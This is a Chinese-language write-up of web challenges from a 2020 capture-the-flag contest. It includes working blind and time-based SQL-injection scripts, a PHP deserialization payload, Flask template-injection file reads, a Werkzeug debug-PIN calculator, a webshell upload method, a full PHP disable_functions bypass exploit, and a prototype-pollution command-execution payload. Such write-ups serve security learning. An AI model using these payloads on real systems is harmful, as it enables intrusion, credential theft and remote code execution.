i春秋2020新春公益賽WEB復現Writeup
說實話這個比賽打的我是一點毛病都沒有,還是覺得自己掌握的東西太少了,,,
尤其是sql注入,都被大佬們玩出花來了,可能自己太菜,,,哭了!!!
關於SQL注入的一篇好文章:對MYSQL注入相關內容及部分Trick的歸類小結
之前做出來的題目有點少,,,
現在還有機會復現,復現一下,,,,,
Day1
簡單的招聘系統
這道題目白給吧,在登陸頁面存在盲注,,,,直接上腳本跑就行了,,,,
import requests
import base64
import sys
import string
import hashlib
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改變標準輸出的默認編碼,否則s.text不能輸出
ss = ""
x = string.printable
url = "http://0322466e512a4d9abbd18abd6e1a56b0f5e4decb12434075.changame.ichunqiu.com/index.php"
headers = {"cookie":"PHPSESSID=dh732m3f8dh6cid1u1nq4gool2; __jsluid_h=8e14805a86acf7cbba7f9e3e53dc7685"}
payload={
"lname":"",
"lpass":"123"
}
#測試
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)
for i in range(1,60):
for j in x:
#payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1#")%(str(i),ord(j))
#payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%s,1))=%s)=1#")%(str(i),ord(j))
payload["lname"]=("123' and 1=(ascii(substr((select(group_concat(flaaag))from(flag)),%s,1))=%s)=1#")%(str(i),ord(j))
#print(payload)
r=requests.post(url=url,headers=headers,data=payload)
if('window.location.href="./zhaopin.php";' in r.text):
ss += j
#print(1)
print(ss)
break
'''
真:window.location.href="./zhaopin.php";
'''
有些師傅說啥admin萬能密碼登陸,然後在search for key的地方進行sql注入,,,
反正差不多吧,應該不太難,,,,,
ezupload
啥都沒過濾,,直接上傳php文件,一句話木馬,鏈接即可,,,,
看了下index.php的源碼:
<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
$sandbox='sandbox/'.md5($_SERVER['remote_addr']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php,htaccess,ini,'])) {
die('upload failed');
}
move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";
endif;
?>
<form method="post" enctype="multipart/form-data">
上傳: <input type="file" name="file_upload">
<input type="submit">
</form>
看到這裏我笑了,,,出題者可能太累了,沒仔細看,,,,,
這完全不能達到過濾的效果,,,,,,
babyphp
打開網頁看到程序員已跑路,,,,直接嘗試了一下www.zip,下載下來了源碼:
update.php:
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>這是一個未完成的頁面,上線時建議刪除本頁面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你還沒有登陸呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
可以看見只要登陸成功就會得到flag了!!!
主要的利用頁面:
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//這個功能還沒有寫完 先佔坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("連接失敗,錯誤:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用戶不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密碼錯誤!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//還沒來得及寫
}
}
當我第一眼看見safe函數的時候就覺得又是反序列化字符逃逸~ 事實上就是字符逃逸!!!!
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
不過我當時環境有問題,數據庫連接失敗,,,我還以爲題目就是這樣的,我也是透了猴子的!!!
可以看見有反序列化,關鍵就是構造pop鏈!!!
首先看到:
如果$this->sql=new User(),那麼就會調用User的tostring函數:
如果$this->nickname=new Info(),那麼就會調用Info的call函數:
如果這時的$this->CtrlCase=new new dbCtrl(),那麼會調用dbCtrl的login函數
而該函數可以執行任意的sql語句,並且會把值return出來,這裏我們可以把密碼帶出來!:
我們就可以構造select password,id from user where username="admin"
的sql語句帶出admin的密碼!
序列化腳本:
<?php
Class UpdateHelper{
public $sql;
public function __construct(){
$this->sql= new User();
}
}
Class User{
public $nickname;
public $age;
public function __construct(){
$this->nickname = new Info();
$this->age='select password,id from user where username="admin"';
}
}
Class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl();
}
}
class dbCtrl
{ public $token;
public function __construct(){
$this->token = 'admin';
}
}
$a = new UpdateHelper();
echo serialize($a);
?>
得到:
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}
有一點是需要注意的,由於我們是逃逸出來的,所以我們必須得讓程序能夠成功的序列化
我們可以調試一下正常的序列化:
O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:6:"A_dmin";s:8:"CtrlCase";s:3:"111";}
age和nickname是我們能夠控制的!!!
所以payload前面要加上s:8:“CtrlCase”;然後閉合掉後面的CtrlCase,,,,
payload:
age=1&nickname=*********************************************";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,Id from user where username="admin"";}}}111
得到admin密碼:
登陸拿到flag:
盲注
打開頁面可以發現源碼:
<?php
# flag在fl4g裏
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();
$id = $_GET['id'];
if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);
可以看見有waf,但是我們可以fuzz一波,以下都是被過濾了的:
頁面也沒有回顯,估摸着是時間盲注了,不過等於等符號都被過濾了,,,
可以利用基於regexp的時間盲注,我們能看見他的sql語句嘛select * from flllllllag where id=$id
我們可以本地嘗試一下:
select * from table1 where id=1 and if((substr((flag),1,1) regexp "^f"), sleep(5),1)
發現會睡5秒,她有個提示說flag在fl4g裏,ok,編寫腳本(響應超時會報404):
import requests
import sys
import string
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改變標準輸出的默認編碼,否則s.text不能輸出
flag = ""
x = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
url = "http://76d9d6e1097b49b3b6647c717fbf986f62e0bc5e34e945c1.changame.ichunqiu.com/?id=1 "
for i in range(1,43):
for j in x:
payload = url + ('and if((substr((fl4g),%s,1) regexp "^%s"), sleep(10),1)')%(str(i),j)
#print(payload)
try:
r=requests.get(payload,timeout=5)
except Exception as e:
flag += j
print(flag)
break
得到結果:
Day2
blacklist
這道題目就是那個2019強網杯的隨便注,不過不能使用那道題目的payload
因爲過濾了那道題目的payload的關鍵詞,,,,不過還是堆疊注入,能得到表名列名,,,
set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i
所以只能換一種方法,使用handle替換select查詢,,,,
payload:
1'; handler FlagHere open as hack; handler hack read first; handler hack close;
得到:
Ezsqli
打開頁面發現是個搜索框,輸入1 and 1=1發現提示hacker,,,,
輸入1 && 1=1,得到Hello Nu1L,輸入1 && 1=0得到Hello,存在注入!
fuzz一波,發現or,in,union select都被過濾了,,,,or和in被過濾無非是information不能使用
我們可以找到代替的,之前就遇見過不能使用information的注入,
可以使用sys.schema_auto_increment_columns和sys.schema_table_statistics_with_buffer代替
麻煩的是union select不能同時出現,,先跑一下表名,,,書寫腳本:
import requests
import base64
import sys
import string
import hashlib
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改變標準輸出的默認編碼,否則s.text不能輸出
ss = ""
x = string.printable
url = "http://82b1d678b7c34f4981d683612690549a36edb1a166894df0.changame.ichunqiu.com/"
headers = {"cookie":"__jsluid_h=cdcac10f27dac6ddb56d334f26b8b9e4"}
payload={
"id":""
}
#測試
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)
for i in range(1,60):
for j in x:
payload["id"]=("1 && 1=(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),%s,1))=%s)=1")%(str(i),ord(j))
#print(payload)
r=requests.post(url=url,headers=headers,data=payload)
if('Hello Nu1L' in r.text):
ss += j
#print(1)
print(ss)
break
得到:
表中如果只有一列可以使用:substr((select * from table),1,1)=‘f’,題目中貌似不止一列
題中多於一列,需要將查詢語句與相同數量的列進行比較,配合 <= 進行盲注
類似於這種:(select 'admin','admin')>(select * from users limit 1)
模擬建立一個表:
執行select (select '1','e~')>(select * from table2 limit 1)
顯示0
執行select (select '1','f~')>(select * from table2 limit 1)
顯示1,,,,
執行select (select '1','fl~')>(select * from table2 limit 1)
顯示1,所以可以進行盲注,,
exp.py:
import requests
import base64
import sys
import string
import hashlib
import io
import time
def str2hex(strs):
ss = ""
for i in strs:
x = hex(ord(i))[2:]
if(len(x) == 1):
ss += '0' + str(x)
else:
ss += str(x)
return ss
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改變標準輸出的默認編碼,否則s.text不能輸出
ss = ""
x = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
url = "http://82b1d678b7c34f4981d683612690549a36edb1a166894df0.changame.ichunqiu.com/"
headers = {"cookie":"__jsluid_h=cdcac10f27dac6ddb56d334f26b8b9e4"}
payload={
"id":""
}
#測試
#r=requests.post(url,headers=headers,data=payload)
#print(r.text)
for i in range(1,43):
flag = ss
for j in x:
flag += j;
#payload["id"]=("1 && 1=(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),%s,1))=%s)=1")%(str(i),ord(j))
#注意要進行16進制轉換,否則不能執行
payload["id"] = ("1 && ((select 1,0x%s7e)>(select * from f1ag_1s_h3r3_hhhhh limit 1))")%(str2hex(flag))
#print(payload)
r=requests.post(url=url,headers=headers,data=payload)
if('Hello Nu1L' in r.text):
ss += j
print(ss)
break
else:
flag = ss
得到:
出題人的筆記:新春戰疫公益賽-ezsqli-出題小記
easysqli_copy
打開頁面得到:
<?php
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}
參考了這篇文章:從寬字節注入認識PDO的原理和正確使用,,,,存在寬字節注入
不過沒有回顯,只能進行時間盲注,,,,
可以先進行測試一下:
url = "http://da2c319d9fca40bcbd9e0909ae4ecf8baeeca3524a314fe5.changame.ichunqiu.com/?id=1%df';"
#測試
payload="SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
r=requests.get(url+payload)
print(r.text)
利用SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;語句
0x73656C65637420696628313D302C736C656570283130292C3129 = select if(1=0,sleep(10),1)
發現不會延遲
0x73656C65637420696628313D312C736C656570283130292C3129 = select if(1=1,sleep(10),1)
頁面直接404
直接進行注入,,,,寫腳本,,,,
exp:
import requests
import sys
import io
import time
def str2hex(strs):
ss = ""
for i in strs:
x = hex(ord(i))[2:]
if(len(x) == 1):
ss += '0' + str(x)
else:
ss += str(x)
return ss
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改變標準輸出的默認編碼,否則s.text不能輸出
flag = ""
url = "http://da2c319d9fca40bcbd9e0909ae4ecf8baeeca3524a314fe5.changame.ichunqiu.com/?id=1%df';"
'''
#測試
#payload="SET @x=0x73656C65637420696628313D312C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
#payload="SET @x=0x73656C65637420696628313D302C736C656570283130292C3129;PREPARE a FROM @x;EXECUTE a;"
try:
r=requests.get(url+payload,timeout=5)
except Exception as e:
print("TRUE!")
'''
payload1 = "SET @x=0x%s;PREPARE a FROM @x;EXECUTE a;"
#payload2 = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),%s,1))=%s,sleep(10),1)";
payload2 = "select if(ascii(substr((select fllllll4g from table1),%s,1))=%s,sleep(10),1)"
for i in range(1,43):
for j in range(32,126):
x = payload2%(str(i),str(j))
payload = url + payload1%(str2hex(x))
#print(payload)
try:
r=requests.get(payload,timeout=5)
except Exception as e:
flag += chr(j)
print(flag)
break
得到:
Day3
Flaskapp
打開可以看見有提示:
pin!!直接百度了一下,找到了一篇文章:Flask debug pin安全問題
發現該網站有該bug,在解密時提交錯誤的字符串會出現debug界面,修改需要我們輸入pin碼:
不過好像還缺少任意文件讀取,,,,,,
其實在base64decode處存在ssti模板注入,,,,把{{config}}base64加密後提交得到:
貌似模板注入的命令執行不行,,,沒試出來,,,,
flask讀取文件的payload:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
得到:
能行,獲取該有的變量,用戶名得到了~~
flaskweb:x:1000:1000::/home/flaskweb:
獲取machine-id:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532
在docker環境中不能直接讀/etc/machine-id,否在pin會不對
獲取Mac地址:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
02:42:ac:12:00:09
十進制:2485377957897
路徑報錯就有:
/usr/local/lib/python3.7/site-packages/flask/app.py
利用文章中的exp:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377957897',# str(uuid.getnode()), /sys/class/net/ens33/address
'a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到pin碼:
成功進入python控制檯:
讀取flag文件:
其實比賽中已經找到了這篇文章,but沒有發現還有模板注入,,自閉,,,
easy_thinking
這道題目我上了一波車,,,,:
利用ThinkPHP6的漏洞,先註冊一個賬號
在登錄時候burp抓包,修改session,將session改成.php結尾,注意長度必須是32位
然後去搜索頁面抓包修改session,並在搜索處插入木馬:
可以看見:
使用蟻劍鏈接得到:
不過禁用了很多的函數:
接下來就像極客的那道rec了,不過他裏面有exp,這裏需要我們自己弄
直接上傳成功:
得到:
exp.php:
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
ezExpress
這道題目怎麼說呢,,,在buu上覆現成功了,但是原網站卻沒有,自閉,,,
首先題目要求我們能夠登陸成功,利用javascript大小寫特性繞過:
ADMıN
註冊ADMıN
賬號,成功登陸進去,接下來就是利用原型鏈污染了,,,
payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > /app/public/flag\"');//"}}
當看見成功時,去訪問一下info:
然後去訪問一下flag文件,就能夠直接下載到!得到flag:
不過在原網站上沒有成功,不知道爲什麼,命令雖然執行成功了,但是找不到flag文件,,
換其他命令貌似也沒得用,嚶嚶嚶,自己好菜,又是自閉的一天!!!
希望有知道的師傅能指導我一下爲什麼~~感激不盡
node_game
暫緩~